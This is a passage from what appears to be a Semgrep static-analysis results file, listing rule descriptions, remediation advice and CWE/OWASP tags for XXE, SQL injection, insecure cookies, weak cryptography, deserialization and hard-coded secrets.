DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","id":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","name":"go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xxe.libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","id":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","name":"python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.python-sqlalchemy-hardcoded-secret.python-sqlalchemy-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","id":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","name":"java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-secure-flag-false.cookie-secure-flag-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-httponly.missing-httponly","id":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","name":"csharp.lang.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure DocDB is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","id":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","name":"terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-docdb-encrypted-with-cmk.aws-docdb-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://cwe.mitre.org/data/definitions/501.html](https://cwe.mitre.org/data/definitions/501.html)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected string concatenation with a non-literal variable in a node-postgres JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `client.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","id":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","name":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#avoiding-sql-injection)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Found extension of custom expression: $CLASS. Extending expressions in this way could inadvertently lead to a SQL injection vulnerability, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.extends-custom-expression.extends-custom-expression","id":"python.django.security.audit.extends-custom-expression.extends-custom-expression","name":"python.django.security.audit.extends-custom-expression.extends-custom-expression","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.extends-custom-expression.extends-custom-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects direct creations of SSLConnectionSocketFactories that don't disallow SSL v2, SSL v3, and TLS v1. SSLSocketFactory can be used to validate the identity of the HTTPS server against a list of trusted certificates. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"help":{"markdown":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use)\n - [https://www.php.net/manual/en/intro.mcrypt.php](https://www.php.net/manual/en/intro.mcrypt.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php)\n","text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"helpUri":"https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use","id":"php.lang.security.mcrypt-use.mcrypt-use","name":"php.lang.security.mcrypt-use.mcrypt-use","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mcrypt-use.mcrypt-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli","id":"python.aws-lambda.security.mysql-sqli.mysql-sqli","name":"python.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"help":{"markdown":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check)\n - [https://pkg.go.dev/github.com/gorilla/websocket#Upgrader](https://pkg.go.dev/github.com/gorilla/websocket#Upgrader)\n","text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","id":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","name":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH)\n - [https://csrc.nist.gov/pubs/sp/800/56/a/r3/final](https://csrc.nist.gov/pubs/sp/800/56/a/r3/final)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://weakdh.org/sysadmin.html](https://weakdh.org/sysadmin.html)\n","text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","id":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","name":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","id":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","name":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","id":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","name":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"help":{"markdown":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage)\n - [https://docs.python.org/3/library/marshal.html?highlight=security](https://docs.python.org/3/library/marshal.html?highlight=security)\n","text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage","id":"python.lang.security.audit.marshal.marshal-usage","name":"python.lang.security.audit.marshal.marshal-usage","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.marshal.marshal-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by 